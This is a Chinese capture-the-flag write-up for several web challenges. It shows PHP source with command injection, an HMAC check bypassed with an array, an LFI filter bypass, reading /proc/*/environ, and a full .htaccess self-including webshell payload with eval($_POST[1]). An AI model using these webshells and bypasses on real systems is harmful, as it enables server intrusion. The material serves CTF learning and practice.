羊城杯CTF Web Write-Up
easycon
直接给了一句话木马
登上去看了好久没找到flag
发现bbbbbb.txt比较可疑,创建时间和其他文件一样,应该是出题人故意留的
base64解发现是jpg图片头,python解码写个文件
data = 'xxxxxxxxxxxxxx'
import base64
open("1.jpg","wb").write(base64.b64decode(data))
BlackCat
这道题有点脑洞了,扫目录啥的没发现,最后发现是背景音乐hex打开最后有源码
<?php
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
比较敏感,感觉是数组绕过,本地试了还真是,当传入White-cat-monitor为数组时,$clandestine结果是NULL,那接下来就好办了,只需要传入Black-Cat-Sheriff和One-ear,本地计算一下hash一样就可以弹shell了
Easyphp2
http://183.129.189.60:10025/?file=GWHT.php
题目一看就是文件包含,想读源码发现伪协议里面的base64和rot13都被ban了,查了一下官方手册找到一个可以用的转换器
http://183.129.189.60:10025/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
php://filter/read=convert.quoted-printable-encode/resource
读到的源码
<?php
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
<h1>A Counter is here, but it has someting wrong</h1>
<form>
<input type="""hidden" value="GWHT.php" name="file">
<textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type="""submit">
</form>
<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>
</body>
</html>
需要知道一个环境变量,读/proc/self/environ一直报错,用intruder模块跑pid
跑到/proc/27/environ成功读到pass为GWHT
然后直接传cmd命令弹shell
easyphp
访问首页发现是审计题
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
大概意思,首先每次访问会删除除index.php以外的所有文件
然后两个简单正则校验,用户可以传入文件名和文件内容写入文件
但是写入文件的后面会加上换行Hello,World
尝试1
写入Webshell,发现不解析
出现这种情况,一般是配置文件中不允许执行php文件,(这道题应该是只允许index.php执行)
开发者既可以在主配置文件中更改 php_flag值,也可以在分布式配置文件(.htaccess)中更改此值
由于.htaccess优先度高于主配置文件
我们第一反应想到,我们先写.htaccess在写入一句话木马,但是由于题目在访问前后会删除其他所有文件,此路不通
尝试2
通过.htaccess的一种后门,自包含形式获取Webshell
php_value auto_append_file .htaccess
#<?php eval($_POST[1]);
.htaccess可以更改 auto_append_file 这个属性,这个属性是指php文件自动包含的文件,可以自己包含自己来获取webshell
trick1: #符号是注释
但是由于题目会在尾部加一个nhello world,我们需要注释尾部的内容,否者服务端会报错500(.htaccess不允许脏字符)
trick2: 符号可以转义换行
百度了一下没有找到多行注释,但我们可以通过符号转义换行,将最后一行和倒数第二行变为一行,然后#全部注释
php_value auto_append_file .htaccess
#<?php eval($_POST[1]);
# \
Hello, world
然后因为上面对content进行了一些正则,我们还是可以通过绕过正则,最终exp
php_value auto_prepend_fi\
le .htaccess
#<?php eval($_POST[1])?>
# \
Hello, world
Getshell后flag在根目录,readfile('/flag')即可
Break the Wall
一开始感觉是FFI,后面发现不是
然后觉得像宝塔那篇,通过PWN来绕过disable_function,
https://xz.aliyun.com/t/7990
不会pwn,溜了
EasyJava
Java垃圾,溜了
easyser
看了一会没思路,现在在护网已经2:30了,头好晕感觉要猝死了,睡了睡了